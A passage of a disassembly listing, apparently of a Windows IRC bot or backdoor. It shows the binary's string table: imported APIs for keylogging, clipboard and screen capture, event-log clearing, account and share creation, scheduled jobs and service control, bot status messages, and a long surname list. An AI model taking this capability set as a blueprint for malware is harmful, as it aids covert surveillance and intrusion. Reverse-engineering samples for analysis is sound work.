sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 10h aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 10h aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 10h unk_42D330 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4C0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h unk_42D4F0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_42D520 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D544 db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o align 10h aReal db 'real',0 align 4 dd 0 dword_42D58C dd 0 ; DATA XREF: sub_40B08D+7o off_42D590 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 10h dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D5F8 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D604 dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset 